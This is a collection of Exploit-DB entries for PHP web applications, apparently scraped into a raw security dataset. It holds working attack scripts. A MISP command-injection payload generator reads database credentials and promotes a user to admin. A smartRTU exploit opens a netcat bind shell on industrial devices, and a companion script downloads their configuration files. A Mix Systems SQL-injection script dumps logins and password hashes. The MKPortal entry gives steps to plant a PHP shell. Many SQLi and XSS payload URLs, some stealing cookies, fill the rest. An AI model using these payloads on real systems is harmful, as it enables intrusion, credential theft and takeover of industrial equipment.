deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26900
Description: Miraserver 1.0 RC4 - 'index.php?page' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15960/info

Miraserver is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.0 RC4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=[SQL]
Exploit-DB #26901
Description: Miraserver 1.0 RC4 - 'newsitem.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15960/info
 
Miraserver is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Version 1.0 RC4 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/newsitem.php?id=[SQL]
Exploit-DB #37633
Description: mIRC - 'projects.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-10
Author: TayfunBasoglu

Exploit:
source: https://www.securityfocus.com/bid/54989/info

mIRC is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/projects.php?go=maddons&offset=&order=id&sort=desc&mver=0&keywords=xss"><img src=x onerror=prompt(document.cookie);>
Exploit-DB #30751
Description: Miro Broadcast Machine 0.9.9 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-12
Author: Hanno Boeck

Exploit:
source: https://www.securityfocus.com/bid/26407/info

Miro Broadcast Machine is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects Broadcast Machine 0.9.9.9; other versions may also be affected.

<form action="http://www.example.com/login.php" method="post"><input type="text" name="username" value='"<script>alert(1)</script>'><input type="submit"></form>
Exploit-DB #51780
Description: MISP 2.4.171 - Stored XSS
Type: webapps
Platform: php
Date: 2024-02-05
Author: Mücahit Çeri

Exploit:
# Exploit Title: MISP 2.4.171 Stored XSS [CVE-2023-37307] (Authenticated)
# Date: 8th October 2023
# Exploit Author: Mücahit Çeri
# Vendor Homepage: https://www.circl.lu/
# Software Link: https://github.com/MISP/MISP
# Version: 2.4.171
# Tested on: Ubuntu 20.04
# CVE : CVE-2023-37307

# Exploit:
Logged in as low privileged account

1)Click on the "Galaxies" button in the top menu
2)Click "Add Cluster" in the left menu.
3)Enter the payload "</title><script>alert(1)</script>" in the Name parameter.
4)Other fields are filled randomly. Click on Submit button.
5)When the relevant cluster is displayed, we see that alert(1) is running
Exploit-DB #46401
Description: MISP 2.4.97 - SQL Command Execution via Command Injection in STIX Module
Type: webapps
Platform: php
Date: 2019-02-18
Author: Tm9jdGlz

Exploit:
#-*-coding:utf-8-*-
#
# Exploit Title: SQL command execution via command injection in STIX module
# Date: 2019-17-02
# Exploit Author: Tm9jdGlz
# Vendor Homepage: https://www.misp-project.org/
# Software link: https://www.misp-project.org/download/
# Version: 2.4.90 - 2.4.99
# Tested on: 2.4.97
# CVE: CVE-2018-19908
# 
# Use this payload as stix filename

def encode_data(data):
    from base64 import b64encode
    from urllib.parse import quote_plus

    b64Data = b64encode(data.encode("utf-8"))
    urlEncode = quote_plus(b64Data)

    return urlEncode


def generate_payload(SQLRequest):
    payload = 'MISPPath="../../";'\
            'MISPPDB="$MISPPath/app/Config/database.php";'\
            'MySQLUUser=$(grep -o -P "(?<=\'login\' => \').*(?=\')" $MISPPDB);'\
            'MySQLRUser=${{MySQLRUser:-$MySQLUUser}};'\
            'MySQLUPass=$(grep -o -P "(?<=\'password\' => \').*(?=\')" $MISPPDB);'\
            'MySQLRPass=${{MySQLRPass:-$MySQLUPass}};'\
            'MISPDB=$(grep -o -P "(?<=\'database\' => \').*(?=\')" $MISPPDB);'\
            'mysql -u $MySQLRUser -p$MySQLRPass $MISPDB -e "{}"'
    return payload.format(SQLRequest)

def generate_exploit(SQLRequest, **kwargs):
    options = {
            "inputFile" : kwargs.get("input_file", "data"),
            "outputFile" : kwargs.get("output_file", "data2"),
            "payload" : encode_data(generate_payload(SQLRequest))
    }

    exploit = "; echo '{payload}'>{inputFile};"\
            "python3 -c 'import urllib.parse;"\
            'fd=open(\\"{outputFile}\\",\\"w\\");'\
            'fd.write(urllib.parse.unquote_plus(open(\\"{inputFile}\\").read()));'\
            "fd.close()';"\
            "base64 -d {outputFile}>{inputFile};"\
            "sh {inputFile};"\
            "rm {inputFile} {outputFile} #".format(**options)
    return exploit

def main():
    SQLRequest = "UPDATE users SET role_id=1 WHERE id = 2"
    print(generate_exploit(SQLRequest))

if __name__ == "__main__":
    main()
Exploit-DB #5214
Description: Mitra Informatika Solusindo cart - SQL Injection
Type: webapps
Platform: php
Date: 2008-03-04
Author: bius

Exploit:
#############################SolpotCrew Community################################
#
#  Mitra Informatika Solusindo cart Remote Sql Injection Exploit
#
#  vendor : http://www.mitrainformatika.com/
#
#################################################################################
#
#
#       Bug Found By : home_edition2001 a.k.a (bius) (4-03-2008)
#
#       contact: bius-was-here@dinastore.com
#
#       Website : www.solpotcrew.org/adv/home_edition2001-adv-03.txt
#
################################################################################
#
#
#      Greetz: NYUBI,h4ntu,Ibnusina , Sikodoq , ghareng , Saritem ,Ingin_belajar
#              pannel , Matdhule , Naruto , d\i\c\k\y , ASP , Roney , live
#              kabut , Portrait , huhuhu , geronimo , Bolis ,HearTBreaK
#              Blue|spy , X8 , dead , ZDe , K1tk4t , webmaster
#              x-ace , ardan , th3sn0wbr4in , BrainDrain
#              and all member solpotcrew community
#              http://www.solpotcrew.org/forum/
#              #nyubicrew @ irc.mildnet.cn
#              especially thx to str0ke @ milw0rm.com
#
###############################################################################
# Exploit in:                                                              #
# /index.php?c=10&p=-7(SQL)                                    		   #
#                                                                          #
# Example:                                                                 #
#                                                                          #
# (SQL)%20union%20select%200,concat(user_name,user_password),null,null,null,null,null,null%20from%20tbl_agen--
############################################################################

google dork : Powered by  Mitra Informatika Solusindo
              Mitra Informatika Solusindo cart 
              intitle:'Mitra Informatika Solusindo' Shopingcart System



##############################MY LOVE JUST FOR U Dina Mariance#########################
######################################E.O.F##################################

# milw0rm.com [2008-03-04]
Exploit-DB #47234
Description: Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated Configuration Download
Type: webapps
Platform: php
Date: 2019-08-12
Author: xerubus

Exploit:
#!/usr/bin/python

# Exploit Title: Mitsubishi Electric smartRTU & INEA ME-RTU Unauthenticated Configuration Download
# Date: 29 June 2019 
# Exploit Author: (@xerubus | mogozobo.com)
# Vendor Homepage: https://eu3a.mitsubishielectric.com/fa/en/products/cnt/plcccl/items/smartRTU/local
# Vendor Homepage: http://www.inea.si/en/telemetrija-in-m2m-produkti/mertu-en/
# Firmware Version: Misubishi Electric 2.02 & INEA 3.0
# CVE-ID: CVE-2019-14927
# Full write-up: https://www.mogozobo.com/?p=3593

import sys, os, requests, socket

os.system('clear')

print("""\
        _  _
  ___ (~ )( ~)
 /   \_\ \/ /   
|   D_ ]\ \/  -= Conf_Me-smartRTU  by @xerubus =-    
|   D _]/\ \  -= We all have something to hide =-
 \___/ / /\ \\
      (_ )( _)
      @Xerubus    
                    """)

host = raw_input("Enter RTU IP address: ")
	
php_page = '/saveSettings.php'
url = "http://{}{}".format(host, php_page)

print "[+] Attempting to download smartRTU configuration file"

r = requests.get(url)
if r.status_code == 200:
   print "[+] Successfully obtained smartRTU configuration file.. saving to smartRTU_conf.xml\n"
   with open('smartRTU_conf.xml', 'w') as f:
      f.write(r.content)
Exploit-DB #47235
Description: Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated OS Command Injection Bind Shell
Type: webapps
Platform: php
Date: 2019-08-12
Author: xerubus

Exploit:
#!/usr/bin/python

# Exploit Title: Mitsubishi Electric smartRTU & INEA ME-RTU Unauthenticated OS Command Injection
# Date: 29 June 2019 
# Exploit Author: (@xerubus | mogozobo.com)
# Vendor Homepage: https://eu3a.mitsubishielectric.com/fa/en/products/cnt/plcccl/items/smartRTU/local
# Vendor Homepage: http://www.inea.si/en/telemetrija-in-m2m-produkti/mertu-en/
# Firmware Version: Misubishi Electric 2.02 & INEA 3.0 
# CVE-ID: CVE-2019-14931
# Full write-up: https://www.mogozobo.com/?p=3593

import sys, os, requests, socket

os.system('clear')

print("""\
        _  _
  ___ (~ )( ~)
 /   \_\ \/ /   
|   D_ ]\ \/  -= Bind_Me-smartRTU  by @xerubus =-    
|   D _]/\ \  -= We all have something to hide =-
 \___/ / /\ \\
      (_ )( _)
      @Xerubus    
                    """)

host = raw_input("Enter RTU IP address: ")
port = raw_input("Enter bind shell port number: ")
	
php_page = '/action.php'
url = "http://{}{}".format(host, php_page)
payload = {'host' : ';sudo /usr/sbin/service ../../bin/nc -nvlp '+port+' -e /bin/sh&PingCheck=Test'}

print "\n[+] Building payload"
print "[+] Sending payload"
print "[+] Attempting connection to smartRTU"

try:
   r = requests.post(url, data=payload, timeout=1)
except:
   pass

port = (int(port))

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((host, port))
	
   try :  
      print "[+] Connected to the smartRTU!\n"
      while 1:  
         cmd = raw_input("(smartRTU-shell) # ");  
         s.send(cmd + "\n");  
         result = s.recv(1024).strip();  
         if not len(result) :  
            print "\n[!] Play nice now skiddies....\n\n"
            s.close();  
            break;  
         print(result);  

   except KeyboardInterrupt:
      print "\n[+] ^C Received, closing connection"
      s.close();
   except EOFError:
      print "\n[+] ^D Received, closing connection"
      s.close();

except socket.error:
   print "[!] Failed to connect to bind shell."
Exploit-DB #5099
Description: Mix Systems CMS - 'parent/id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-10
Author: halkfild

Exploit:
<?
echo "\n";
echo "-------------------------Mix Systems CMS--------------------------"."\n";
echo "-----------------------coded by : halkfild------------------------"."\n";
echo "----------------------------antichat.ru------------------------"."\n";

if ($argc!=4){
echo " Usage: php ".$argv[0]." host type num_records\n";
echo " host: Your target ex www.target.com \n";
echo " type: 1 - plugin=katalog bug\n";
echo " 2 - plugin=photogall bug\n";
echo " num_records: number or returned records(if 0 - return all)\n";
echo " example: php script.php site.com 10\n";
echo "\n";
exit;
}

$host=$argv[1];
$type=$argv[2];
$count=$argv[3];

if ($argv[2]==1) {
$query="index.php?plugin=katalog&do=showUserContent&type=tovars&id=-395'+union+select+1,2,3,4,5,concat_ws(0x3a3a,CHAR(64),id,login,pwd,email,CHAR(64)),7,8,9,10,11,12,13,14,15,16,17,18+from+mix_users+limit+";
$end=",1/*";
}
elseif ($argv[2]==2) {
$query="index.php?plugin=photogall&do=exposure&path=product&parent=49'+union+select+1,2,3,concat_ws(0x3a3a,CHAR(64),id,login,pwd,email,CHAR(64)),5,6,7,8,9,10,11,12+from+ng_users+limit+";
$end=",1/*&cat=11";
}
else {
echo " incorrect parameter #2=".$argv[2]."\n";
echo " type: 1 - plugin=katalog bug\n";
echo " 2 - plugin=photogall bug\n";
exit;
}
$site=$host.'/'.$query;
$pattern='/@::(\d+)::(.*)::([0-9a-z]{32})::(.*@.*)::@/';
$i=0;
if(function_exists('curl_init'))
{
while(1) {
$ch = curl_init("http://".$site.$i.$end);
curl_setopt($ch, CURLOPT_HEADER,true);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_TIMEOUT,10);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)");
$res=curl_exec($ch);
$returncode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if ($returncode==404) exit ("Vulnerable script not found. Check your site and settings :| \n");
if(preg_match_all($pattern,$res,$out)) {
echo "| ".$out[1][0]." | ".$out[2][0]." | ".$out[3][0]." | ".$out[4][0]." |\r\n";
$i++;
$out=null;
}
else break;
if ($count!=0 && $i>$count) break;
}
echo ("Finish. /* ".$i." records*/ \n");
}
else
exit("Error:Libcurl isnt installed \n");

?>

# milw0rm.com [2008-02-10]
Exploit-DB #31717
Description: MJGUEST 6.7 - 'QT 'mjguest.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-01
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/29002/info


MJGUEST is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MJGUEST 6.7 GT is vulnerable; other versions may also be affected. 

http://www.example.com/mjguest/mjguest.php?do=redirect&level=>"<[XSS]
Exploit-DB #32128
Description: MJGUEST 6.8 - 'Guestbook.js.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-30
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/30438/info

MJGUEST is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MJGUEST 6.8 GT is vulnerable; other versions may also be affected.

http://www.example.com/guestbook.js.php?link=[XSS]
Exploit-DB #38571
Description: mkCMS - 'index.php' Arbitrary PHP Code Execution
Type: webapps
Platform: php
Date: 2013-06-11
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/60488/info

mkCMS is prone to an arbitrary PHP code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary PHP code within the context of the affected application.

mkCMS 3.6 is vulnerable; other versions may also be affected. 

http://www.example.com/mkCMS/index.php?cmd=dir
Exploit-DB #30555
Description: MKPortal 1.0/1.1 - 'admin.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2007-09-03
Author: Demential

Exploit:
source: https://www.securityfocus.com/bid/25515/info

MKPortal is prone to an authentication-bypass vulnerability because it fails to restrict access to certain administrative functions.

Attackers can exploit this issue to gain unauthorized access to the application.

Versions prior to MKPortal 1.1.1 are vulnerable. 

Start Macromedia Flash and create an swf file with this code:

var idg:Number = 9;
var p13:Number = 1;
var Salva:String = "Save+Permissions";
getURL("http://victim.com/mkportal/admin.php?ind=ad_perms&op=save_main", 
"_self", "POST");

Translate "Save+Permissions" in MKPortal language.
Example: "Salva+questi+permessi" for italian sites.

Then upload the swf file to a webserver and create an html page like 
this:

<html>
<head>
<title>Put a title here</title>
</head>
<body>
<p>Put some text here<p>
<iframe src="http://yoursite.com/exploit.swf" frameborder="0" height="0" 
width="0"></iframe>
</body>
</html>

Now send the html page to MKPortal administrator.
When admin opens the page all guests will be able to administrate 
MKPortal.

So you can go here: 
http://victim.com/mkportal/admin.php?ind=ad_contents&op=contents_new_php
and paste a php shell or a backdoor.
You can find your shell here: 
http://victim.com/mkportal/cache/ppage_*.php
where * is the ID of the page.

Translate "page" in MKPortal language.
Example: "pagina" for italian sites.
Exploit-DB #28716
Description: MKPortal 1.0/1.1 - 'PMPopup.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-27
Author: HanowarS

Exploit:
source: https://www.securityfocus.com/bid/20232/info

MKPortal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MKPortal 1.1 R1 and previous versions are vulnerable; other versions may also be affected.

http://www.example.com/mkportal/include/pmpopup.php?u1=www.c-group.org&m1=<script>alert(document.cookie)</script>&m2=<h1>h4x0r3d</h1>&m3=by&m4=<h1>HANOWARS</h1>
Exploit-DB #27725
Description: MKPortal 1.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-22
Author: Mustafa Can Bjorn IPEKCI

Exploit:
source: https://www.securityfocus.com/bid/17651/info

MKPortal is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successfully exploiting these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

MKPortal version 1.1 in conjunction with vBulletin 3.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/index.php?ind=',userid='1
Exploit-DB #30886
Description: MKPortal 1.1 Gallery Module - SQL Injection
Type: webapps
Platform: php
Date: 2007-12-13
Author: Sw33t h4cK3r

Exploit:
source: https://www.securityfocus.com/bid/26860/info

MKPortal is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

This issue affects MKPortal M1.1 RC1; other versions may also be vulnerable. 

http://www.example.com/index.php?ind=gallery&op=foto_show&ida=(sql)
Exploit-DB #32727
Description: MKPortal 1.2.1 - '/modules/blog/index.php' Home Template Textarea SQL Injection
Type: webapps
Platform: php
Date: 2009-01-15
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/33300/info

MKPortal is prone to multiple security vulnerabilities, including SQL-injection, HTML-injection, cross-site scripting, arbitrary-file-upload, and insecure-temporary-file-creation vulnerabilities.

Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.

MKPortal 1.2.1 is vulnerable; other versions may also be affected.

http://localhost/mkportal.1.2.1/index.php?ind=blog&op=edit_template&#039;,template=@@version,template2=&#039;
Exploit-DB #32728
Description: MKPortal 1.2.1 - '/modules/rss/handler_image.php?i' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-01-15
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/33300/info
 
MKPortal is prone to multiple security vulnerabilities, including SQL-injection, HTML-injection, cross-site scripting, arbitrary-file-upload, and insecure-temporary-file-creation vulnerabilities.
 
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.
 
MKPortal 1.2.1 is vulnerable; other versions may also be affected.

http://localhost/mkportal.1.2.1/mkportal/modules/rss/handler_image.php
?i=<script>alert(123);</script>